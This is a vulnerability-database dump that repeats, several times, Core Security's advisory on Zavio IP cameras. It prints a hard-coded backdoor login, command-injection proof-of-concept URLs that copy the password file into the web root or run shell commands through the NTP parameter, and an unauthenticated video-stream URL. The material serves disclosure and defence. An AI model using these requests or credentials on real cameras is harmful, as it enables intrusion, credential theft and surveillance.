[CVE-2013-2569] The RTSP protocol authentication is disabled by default. Therefore, the live video stream can be accessed by a remote unauthenticated attacker by requesting:
/----- rtsp://192.168.1.100/video.h264 -----/
8.4. OS Command Injection (Post-auth)
[CVE-2013-2570] The command injection is located in the function 'sub_C8C8' of the binary '/opt/cgi/view/param'. The vulnerable parameter is 'General.Time.NTP.Server'. The following proof of concept can be used to obtain the complete list of access points by executing '/sbin/awpriv ra0 get_site_survey':
/----- http://192.168.1.100/cgi-bin/admin/param?action=update&General.Time.DateFormat=ymd&General.Time.SyncSource=NTP&General.Time.TimeZone=GMT-06:00/America/Mexico_City&General.Time.NTP.ServerAuto=no&General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;&General.Time.NTP.Update=01:00:00&General.Time.DayLightSaving.Enabled=on&General.Time.DayLightSaving.Start.Type=date&General.Time.DayLightSaving.Stop.Type=date&General.Time.DayLightSaving.Start.Month=01&General.Time.DayLightSaving.Stop.Month=01&General.Time.DayLightSaving.Start.Week=1&General.Time.DayLightSaving.Stop.Week=1&General.Time.DayLightSaving.Start.Day=01&General.Time.DayLightSaving.Stop.Day=01&General.Time.DayLightSaving.Start.Date=01&General.Time.DayLightSaving.Stop.Date=01&General.Time.DayLightSaving.Start.Hour=00&General.Time.DayLightSaving.Stop.Hour=00&General.Time.DayLightSaving.Start.Min=00&General.Time.DayLightSaving.Stop.Min=00&Image.OSD.Enabled=off -----/
-
Report Timeline . 2013-03-19: Core Security Technologies notifies the Zavio Tech Support and requests a security manager to send a draft report regarding these vulnerabilities. No reply received. 2013-05-02: Core asks Zavio Tech Support for a security manager to send a confidential report. 2013-05-09: Core asks for a reply. 2013-05-14: Core asks for a reply. 2013-05-21: Core tries to contact vendor for last time without any reply. 2013-05-28: After 5 failed attempts to report the issues, the advisory CORE-2013-0302 is published as 'user-release'.
-
References
[1] http://www.zavio.com/product.php?id=25. [2] http://zavio.com/product.php?id=23. [3] http://www.boa.org/.
- About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
- About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
- Disclaimer
The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
- PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc
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"data": "A Security Bypass vulnerability exists in Zavio IP Cameras through 1.6.3 because the RTSP protocol authentication is disabled by default, which could let a malicious user obtain unauthorized access to the live video stream. Zavio IP The camera contains an authentication vulnerability.Information may be obtained. \nAn attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions. \nZavio IP Cameras running firmware version 1.6.03 and below are vulnerable. *Advisory Information*\n\nTitle: Zavio IP Cameras multiple vulnerabilities\nAdvisory ID: CORE-2013-0302\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities\nDate published: 2013-05-28\nDate of last update: 2013-05-28\nVendors contacted: Zavio\nRelease mode: User release\n\n2. *Vulnerability Information*\n\nClass: Use of hard-coded credentials [CWE-798], OS command injection\n[CWE-78], Incorrect default permissions [CWE-276], OS command injection\n[CWE-78]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570\n\n3. [CVE-2013-2567] to bypass user web interface authentication using\nhard-coded credentials. \n 2. [CVE-2013-2568] to execute arbitrary commands from the\nadministration web interface. This flaw can also be used to obtain all\ncredentials of registered users. \n 3. [CVE-2013-2569] to access the camera video stream. \n 4. [CVE-2013-2570] to execute arbitrary commands from the\nadministration web interface (post authentication only). \n\n4. *Vulnerable Packages*\n\n . \n\n5. *Non-Vulnerable Packages*\n\n . Vendor did not provide details. Contact Zavio for further information. \n\n6. *Vendor Information, Solutions and Workarounds*\n\nThere was no official answer from Zavio after several attempts to report\nthese vulnerabilities (see [Sec. 9]). Contact vendor for further\ninformation. \nSome mitigation actions may be:\n\n . Do not expose the camera to Internet unless absolutely necessary. Enable RTSP authentication. Have at least one proxy filtering HTTP requests to\n\u0027manufacture.cgi\u0027 and \u0027wireless_mft.cgi\u0027. Check the parameter \u0027General.Time.NTP.Server\u0027 in requests to\n\u0027/opt/cgi/view/param\u0027. \n\n7. *Credits*\n\nThese vulnerabilities were discovered and researched by Nahuel Riva and\nFrancisco Falcon from Core Exploit Writers Team. The publication of this\nadvisory was coordinated by Fernando Miranda from Core Advisories Team. \n\n8. *Technical Description / Proof of Concept Code*\n\n8.1. *Hard-Coded Credentials in Administrative Web Interface*\n\n[CVE-2013-2567] Zavio IP cameras use the Boa web server [3], a popular\ntiny server for embedded Linux devices. \u0027boa.conf\u0027 is the Boa\nconfiguration file, and the following account can be found inside:\n\n/-----\n# MFT: Specify manufacture commands user name and password\nMFT manufacture erutcafunam\n-----/\n\n This account is not visible from the user web interface; users are not\naware of the existence and cannot eliminate it. Through this account it\nis possible to access two CGI files located in \u0027/cgi-bin/mft/\u0027:\n\n 1. \u0027manufacture.cgi\u0027\n 2. \u0027wireless_mft.cgi\u0027\n\nThe last file contains the OS command injection showed in the following\nsection. \n\n8.2. *OS Command Injection*\n\n[CVE-2013-2568] The file \u0027/cgi-bin/mft/wireless_mft.cgi\u0027, has an OS\ncommand injection in the parameter \u0027ap\u0027 that can be exploited using the\nhard-coded credentials showed in the previous section:\n\n/-----\nusername: manufacture\npassword: erutcafunam\n-----/\n\n The following proof of concept copies the file where the user\ncredentials are stored in the web server root directory:\n\n/-----\nhttp://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales\n-----/\n\n Afterwards, the user credentials can be obtained by requesting:\n\n/-----\nhttp://192.168.1.100/credenciales\n-----/\n\n8.3. *RTSP Authentication Disabled by Default*\n\n[CVE-2013-2569] The RTSP protocol authentication is disabled by default. \nTherefore, the live video stream can be accessed by a remote\nunauthenticated attacker by requesting:\n\n/-----\nrtsp://192.168.1.100/video.h264\n-----/\n\n8.4. *OS Command Injection (Post-auth)*\n\n[CVE-2013-2570] The command injection is located in the function\n\u0027sub_C8C8\u0027 of the binary \u0027/opt/cgi/view/param\u0027. The vulnerable parameter\nis \u0027General.Time.NTP.Server\u0027. The following proof of concept can be used\nto obtain the complete list of access points by executing \u0027/sbin/awpriv\nra0 get_site_survey\u0027:\n\n/-----\nhttp://192.168.1.100/cgi-bin/admin/param?action=update\u0026General.Time.DateFormat=ymd\u0026General.Time.SyncSource=NTP\u0026General.Time.TimeZone=GMT-06:00/America/Mexico_City\u0026General.Time.NTP.ServerAuto=no\u0026General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;\u0026General.Time.NTP.Update=01:00:00\u0026General.Time.DayLightSaving.Enabled=on\u0026General.Time.DayLightSaving.Start.Type=date\u0026General.Time.DayLightSaving.Stop.Type=date\u0026General.Time.DayLightSaving.Start.Month=01\u0026General.Time.DayLightSaving.Stop.Month=01\u0026General.Time.DayLightSaving.Start.Week=1\u0026General.Time.DayLightSaving.Stop.Week=1\u0026General.Time.DayLightSaving.Start.Day=01\u0026General.Time.DayLightSaving.Stop.Day=01\u0026General.Time.DayLightSaving.Start.Date=01\u0026General.Time.DayLightSaving.Stop.Date=01\u0026General.Time.DayLightSaving.Start.Hour=00\u0026General.Time.DayLightSaving.Stop.Hour=00\u0026General.Time.DayLightSaving.Start.Min=00\u0026General.Time.DayLightSaving.Stop.Min=00\u0026Image.OSD.Enabled=off\n-----/\n\n9. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the Zavio Tech Support and requests\na security manager to send a draft report regarding these\nvulnerabilities. No reply received. 2013-05-02:\nCore asks Zavio Tech Support for a security manager to send a\nconfidential report. 2013-05-09:\nCore asks for a reply. 2013-05-14:\nCore asks for a reply. 2013-05-21:\nCore tries to contact vendor for last time without any reply. 2013-05-28:\nAfter 5 failed attempts to report the issues, the advisory\nCORE-2013-0302 is published as \u0027user-release\u0027. \n\n10. *References*\n\n[1] http://www.zavio.com/product.php?id=25. \n[2] http://zavio.com/product.php?id=23. \n[3] http://www.boa.org/. \n\n11. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n12. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n13. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n14. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
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VAR-202001-0849
Vulnerability from variot - Updated: 2024-08-14 13:54An Authentication Bypass vulnerability exists in the web interface in Zavio IP Cameras through 1.6.03 due to a hardcoded admin account found in boa.conf, which lets a remote malicious user obtain sensitive information. Zavio IP The camera contains a vulnerability regarding the use of hard-coded credentials.Information may be obtained. Zavio is an IP camera. The ZAVIO IP camera uses the Boa web server. Boa.conf is the file of the server. The attacker can unauthorized access to sensitive files that are invisible to the user. Advisory Information
Title: Zavio IP Cameras multiple vulnerabilities Advisory ID: CORE-2013-0302 Advisory URL: http://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities Date published: 2013-05-28 Date of last update: 2013-05-28 Vendors contacted: Zavio Release mode: User release
- Vulnerability Information
Class: Use of hard-coded credentials [CWE-798], OS command injection [CWE-78], Incorrect default permissions [CWE-276], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570
- Vulnerability Description
Multiple vulnerabilities have been found in Zavio IP cameras based on firmware v1.6.03 and below, that could allow an unauthenticated remote attacker:
- [CVE-2013-2568] to execute arbitrary commands from the administration web interface. This flaw can also be used to obtain all credentials of registered users.
- [CVE-2013-2569] to access the camera video stream.
-
[CVE-2013-2570] to execute arbitrary commands from the administration web interface (post authentication only).
-
Vulnerable Packages
.
- Non-Vulnerable Packages
. Vendor did not provide details. Contact Zavio for further information.
- Vendor Information, Solutions and Workarounds
There was no official answer from Zavio after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information. Some mitigation actions may be:
. Do not expose the camera to Internet unless absolutely necessary. Enable RTSP authentication. Have at least one proxy filtering HTTP requests to 'manufacture.cgi' and 'wireless_mft.cgi'. Check the parameter 'General.Time.NTP.Server' in requests to '/opt/cgi/view/param'.
- Credits
These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
8.1. 'boa.conf' is the Boa configuration file, and the following account can be found inside:
/-----
MFT: Specify manufacture commands user name and password
MFT manufacture erutcafunam -----/
This account is not visible from the user web interface; users are not aware of the existence and cannot eliminate it. Through this account it is possible to access two CGI files located in '/cgi-bin/mft/':
- 'manufacture.cgi'
- 'wireless_mft.cgi'
The last file contains the OS command injection showed in the following section.
8.2. OS Command Injection
[CVE-2013-2568] The file '/cgi-bin/mft/wireless_mft.cgi', has an OS command injection in the parameter 'ap' that can be exploited using the hard-coded credentials showed in the previous section:
/----- username: manufacture password: erutcafunam -----/
The following proof of concept copies the file where the user credentials are stored in the web server root directory:
/----- http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales -----/
Afterwards, the user credentials can be obtained by requesting:
/----- http://192.168.1.100/credenciales -----/
8.3. RTSP Authentication Disabled by Default
[CVE-2013-2569] The RTSP protocol authentication is disabled by default. Therefore, the live video stream can be accessed by a remote unauthenticated attacker by requesting:
/----- rtsp://192.168.1.100/video.h264 -----/
8.4. OS Command Injection (Post-auth)
[CVE-2013-2570] The command injection is located in the function 'sub_C8C8' of the binary '/opt/cgi/view/param'. The vulnerable parameter is 'General.Time.NTP.Server'. The following proof of concept can be used to obtain the complete list of access points by executing '/sbin/awpriv ra0 get_site_survey':
/----- http://192.168.1.100/cgi-bin/admin/param?action=update&General.Time.DateFormat=ymd&General.Time.SyncSource=NTP&General.Time.TimeZone=GMT-06:00/America/Mexico_City&General.Time.NTP.ServerAuto=no&General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;&General.Time.NTP.Update=01:00:00&General.Time.DayLightSaving.Enabled=on&General.Time.DayLightSaving.Start.Type=date&General.Time.DayLightSaving.Stop.Type=date&General.Time.DayLightSaving.Start.Month=01&General.Time.DayLightSaving.Stop.Month=01&General.Time.DayLightSaving.Start.Week=1&General.Time.DayLightSaving.Stop.Week=1&General.Time.DayLightSaving.Start.Day=01&General.Time.DayLightSaving.Stop.Day=01&General.Time.DayLightSaving.Start.Date=01&General.Time.DayLightSaving.Stop.Date=01&General.Time.DayLightSaving.Start.Hour=00&General.Time.DayLightSaving.Stop.Hour=00&General.Time.DayLightSaving.Start.Min=00&General.Time.DayLightSaving.Stop.Min=00&Image.OSD.Enabled=off -----/
-
Report Timeline . 2013-03-19: Core Security Technologies notifies the Zavio Tech Support and requests a security manager to send a draft report regarding these vulnerabilities. No reply received. 2013-05-02: Core asks Zavio Tech Support for a security manager to send a confidential report. 2013-05-09: Core asks for a reply. 2013-05-14: Core asks for a reply. 2013-05-21: Core tries to contact vendor for last time without any reply. 2013-05-28: After 5 failed attempts to report the issues, the advisory CORE-2013-0302 is published as 'user-release'.
-
References
[1] http://www.zavio.com/product.php?id=25. [2] http://zavio.com/product.php?id=23. [3] http://www.boa.org/.
- About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
- About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
- Disclaimer
The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
- PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc
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"data": "An Authentication Bypass vulnerability exists in the web interface in Zavio IP Cameras through 1.6.03 due to a hardcoded admin account found in boa.conf, which lets a remote malicious user obtain sensitive information. Zavio IP The camera contains a vulnerability regarding the use of hard-coded credentials.Information may be obtained. Zavio is an IP camera. The ZAVIO IP camera uses the Boa web server. Boa.conf is the file of the server. The attacker can unauthorized access to sensitive files that are invisible to the user. *Advisory Information*\n\nTitle: Zavio IP Cameras multiple vulnerabilities\nAdvisory ID: CORE-2013-0302\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities\nDate published: 2013-05-28\nDate of last update: 2013-05-28\nVendors contacted: Zavio\nRelease mode: User release\n\n2. *Vulnerability Information*\n\nClass: Use of hard-coded credentials [CWE-798], OS command injection\n[CWE-78], Incorrect default permissions [CWE-276], OS command injection\n[CWE-78]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in Zavio IP cameras based on\nfirmware v1.6.03 and below, that could allow an unauthenticated remote\nattacker:\n\n 1. \n 2. [CVE-2013-2568] to execute arbitrary commands from the\nadministration web interface. This flaw can also be used to obtain all\ncredentials of registered users. \n 3. [CVE-2013-2569] to access the camera video stream. \n 4. [CVE-2013-2570] to execute arbitrary commands from the\nadministration web interface (post authentication only). \n\n4. *Vulnerable Packages*\n\n . \n\n5. *Non-Vulnerable Packages*\n\n . Vendor did not provide details. Contact Zavio for further information. \n\n6. *Vendor Information, Solutions and Workarounds*\n\nThere was no official answer from Zavio after several attempts to report\nthese vulnerabilities (see [Sec. 9]). Contact vendor for further\ninformation. \nSome mitigation actions may be:\n\n . Do not expose the camera to Internet unless absolutely necessary. Enable RTSP authentication. Have at least one proxy filtering HTTP requests to\n\u0027manufacture.cgi\u0027 and \u0027wireless_mft.cgi\u0027. Check the parameter \u0027General.Time.NTP.Server\u0027 in requests to\n\u0027/opt/cgi/view/param\u0027. \n\n7. *Credits*\n\nThese vulnerabilities were discovered and researched by Nahuel Riva and\nFrancisco Falcon from Core Exploit Writers Team. The publication of this\nadvisory was coordinated by Fernando Miranda from Core Advisories Team. \n\n8. *Technical Description / Proof of Concept Code*\n\n8.1. \u0027boa.conf\u0027 is the Boa\nconfiguration file, and the following account can be found inside:\n\n/-----\n# MFT: Specify manufacture commands user name and password\nMFT manufacture erutcafunam\n-----/\n\n This account is not visible from the user web interface; users are not\naware of the existence and cannot eliminate it. Through this account it\nis possible to access two CGI files located in \u0027/cgi-bin/mft/\u0027:\n\n 1. \u0027manufacture.cgi\u0027\n 2. \u0027wireless_mft.cgi\u0027\n\nThe last file contains the OS command injection showed in the following\nsection. \n\n8.2. *OS Command Injection*\n\n[CVE-2013-2568] The file \u0027/cgi-bin/mft/wireless_mft.cgi\u0027, has an OS\ncommand injection in the parameter \u0027ap\u0027 that can be exploited using the\nhard-coded credentials showed in the previous section:\n\n/-----\nusername: manufacture\npassword: erutcafunam\n-----/\n\n The following proof of concept copies the file where the user\ncredentials are stored in the web server root directory:\n\n/-----\nhttp://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales\n-----/\n\n Afterwards, the user credentials can be obtained by requesting:\n\n/-----\nhttp://192.168.1.100/credenciales\n-----/\n\n8.3. *RTSP Authentication Disabled by Default*\n\n[CVE-2013-2569] The RTSP protocol authentication is disabled by default. \nTherefore, the live video stream can be accessed by a remote\nunauthenticated attacker by requesting:\n\n/-----\nrtsp://192.168.1.100/video.h264\n-----/\n\n8.4. *OS Command Injection (Post-auth)*\n\n[CVE-2013-2570] The command injection is located in the function\n\u0027sub_C8C8\u0027 of the binary \u0027/opt/cgi/view/param\u0027. The vulnerable parameter\nis \u0027General.Time.NTP.Server\u0027. The following proof of concept can be used\nto obtain the complete list of access points by executing \u0027/sbin/awpriv\nra0 get_site_survey\u0027:\n\n/-----\nhttp://192.168.1.100/cgi-bin/admin/param?action=update\u0026General.Time.DateFormat=ymd\u0026General.Time.SyncSource=NTP\u0026General.Time.TimeZone=GMT-06:00/America/Mexico_City\u0026General.Time.NTP.ServerAuto=no\u0026General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;\u0026General.Time.NTP.Update=01:00:00\u0026General.Time.DayLightSaving.Enabled=on\u0026General.Time.DayLightSaving.Start.Type=date\u0026General.Time.DayLightSaving.Stop.Type=date\u0026General.Time.DayLightSaving.Start.Month=01\u0026General.Time.DayLightSaving.Stop.Month=01\u0026General.Time.DayLightSaving.Start.Week=1\u0026General.Time.DayLightSaving.Stop.Week=1\u0026General.Time.DayLightSaving.Start.Day=01\u0026General.Time.DayLightSaving.Stop.Day=01\u0026General.Time.DayLightSaving.Start.Date=01\u0026General.Time.DayLightSaving.Stop.Date=01\u0026General.Time.DayLightSaving.Start.Hour=00\u0026General.Time.DayLightSaving.Stop.Hour=00\u0026General.Time.DayLightSaving.Start.Min=00\u0026General.Time.DayLightSaving.Stop.Min=00\u0026Image.OSD.Enabled=off\n-----/\n\n9. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the Zavio Tech Support and requests\na security manager to send a draft report regarding these\nvulnerabilities. No reply received. 2013-05-02:\nCore asks Zavio Tech Support for a security manager to send a\nconfidential report. 2013-05-09:\nCore asks for a reply. 2013-05-14:\nCore asks for a reply. 2013-05-21:\nCore tries to contact vendor for last time without any reply. 2013-05-28:\nAfter 5 failed attempts to report the issues, the advisory\nCORE-2013-0302 is published as \u0027user-release\u0027. \n\n10. *References*\n\n[1] http://www.zavio.com/product.php?id=25. \n[2] http://zavio.com/product.php?id=23. \n[3] http://www.boa.org/. \n\n11. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n12. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n13. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n14. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
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VAR-202001-0850
Vulnerability from variot - Updated: 2024-08-14 13:54A Command Injection vulnerability exists in Zavio IP Cameras through 1.6.3 via the ap parameter to /cgi-bin/mft/wireless_mft.cgi, which could let a remote malicious user execute arbitrary code. Zavio IP The camera has OS A command injection vulnerability exists.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Zavio is an IP camera. This vulnerability can also be used to obtain credentials for all registered users. Zavio IP Cameras are prone to a remote arbitrary command-injection vulnerability. Successful exploits will allow attackers to execute arbitrary commands in the context of the affected application. This may further aid in other attacks. Zavio IP Cameras running firmware version 1.6.03 and below are vulnerable. Advisory Information
Title: Zavio IP Cameras multiple vulnerabilities Advisory ID: CORE-2013-0302 Advisory URL: http://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities Date published: 2013-05-28 Date of last update: 2013-05-28 Vendors contacted: Zavio Release mode: User release
- Vulnerability Information
Class: Use of hard-coded credentials [CWE-798], OS command injection [CWE-78], Incorrect default permissions [CWE-276], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570
- [CVE-2013-2567] to bypass user web interface authentication using hard-coded credentials.
- [CVE-2013-2569] to access the camera video stream.
-
Vulnerable Packages
.
- Non-Vulnerable Packages
. Vendor did not provide details. Contact Zavio for further information.
- Vendor Information, Solutions and Workarounds
There was no official answer from Zavio after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information. Some mitigation actions may be:
. Do not expose the camera to Internet unless absolutely necessary. Enable RTSP authentication. Have at least one proxy filtering HTTP requests to 'manufacture.cgi' and 'wireless_mft.cgi'. Check the parameter 'General.Time.NTP.Server' in requests to '/opt/cgi/view/param'.
- Credits
These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
8.1. Hard-Coded Credentials in Administrative Web Interface
[CVE-2013-2567] Zavio IP cameras use the Boa web server [3], a popular tiny server for embedded Linux devices. 'boa.conf' is the Boa configuration file, and the following account can be found inside:
/-----
MFT: Specify manufacture commands user name and password
MFT manufacture erutcafunam -----/
This account is not visible from the user web interface; users are not aware of the existence and cannot eliminate it. Through this account it is possible to access two CGI files located in '/cgi-bin/mft/':
- 'manufacture.cgi'
- 'wireless_mft.cgi'
The last file contains the OS command injection showed in the following section.
8.2. OS Command Injection
[CVE-2013-2568] The file '/cgi-bin/mft/wireless_mft.cgi', has an OS command injection in the parameter 'ap' that can be exploited using the hard-coded credentials showed in the previous section:
/----- username: manufacture password: erutcafunam -----/
The following proof of concept copies the file where the user credentials are stored in the web server root directory:
/----- http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales -----/
Afterwards, the user credentials can be obtained by requesting:
/----- http://192.168.1.100/credenciales -----/
8.3. RTSP Authentication Disabled by Default
[CVE-2013-2569] The RTSP protocol authentication is disabled by default. Therefore, the live video stream can be accessed by a remote unauthenticated attacker by requesting:
/----- rtsp://192.168.1.100/video.h264 -----/
8.4. OS Command Injection (Post-auth)
[CVE-2013-2570] The command injection is located in the function 'sub_C8C8' of the binary '/opt/cgi/view/param'. The vulnerable parameter is 'General.Time.NTP.Server'. The following proof of concept can be used to obtain the complete list of access points by executing '/sbin/awpriv ra0 get_site_survey':
/----- http://192.168.1.100/cgi-bin/admin/param?action=update&General.Time.DateFormat=ymd&General.Time.SyncSource=NTP&General.Time.TimeZone=GMT-06:00/America/Mexico_City&General.Time.NTP.ServerAuto=no&General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;&General.Time.NTP.Update=01:00:00&General.Time.DayLightSaving.Enabled=on&General.Time.DayLightSaving.Start.Type=date&General.Time.DayLightSaving.Stop.Type=date&General.Time.DayLightSaving.Start.Month=01&General.Time.DayLightSaving.Stop.Month=01&General.Time.DayLightSaving.Start.Week=1&General.Time.DayLightSaving.Stop.Week=1&General.Time.DayLightSaving.Start.Day=01&General.Time.DayLightSaving.Stop.Day=01&General.Time.DayLightSaving.Start.Date=01&General.Time.DayLightSaving.Stop.Date=01&General.Time.DayLightSaving.Start.Hour=00&General.Time.DayLightSaving.Stop.Hour=00&General.Time.DayLightSaving.Start.Min=00&General.Time.DayLightSaving.Stop.Min=00&Image.OSD.Enabled=off -----/
-
Report Timeline . 2013-03-19: Core Security Technologies notifies the Zavio Tech Support and requests a security manager to send a draft report regarding these vulnerabilities. No reply received. 2013-05-02: Core asks Zavio Tech Support for a security manager to send a confidential report. 2013-05-09: Core asks for a reply. 2013-05-14: Core asks for a reply. 2013-05-21: Core tries to contact vendor for last time without any reply. 2013-05-28: After 5 failed attempts to report the issues, the advisory CORE-2013-0302 is published as 'user-release'.
-
References
[1] http://www.zavio.com/product.php?id=25. [2] http://zavio.com/product.php?id=23. [3] http://www.boa.org/.
- About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
- About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
- Disclaimer
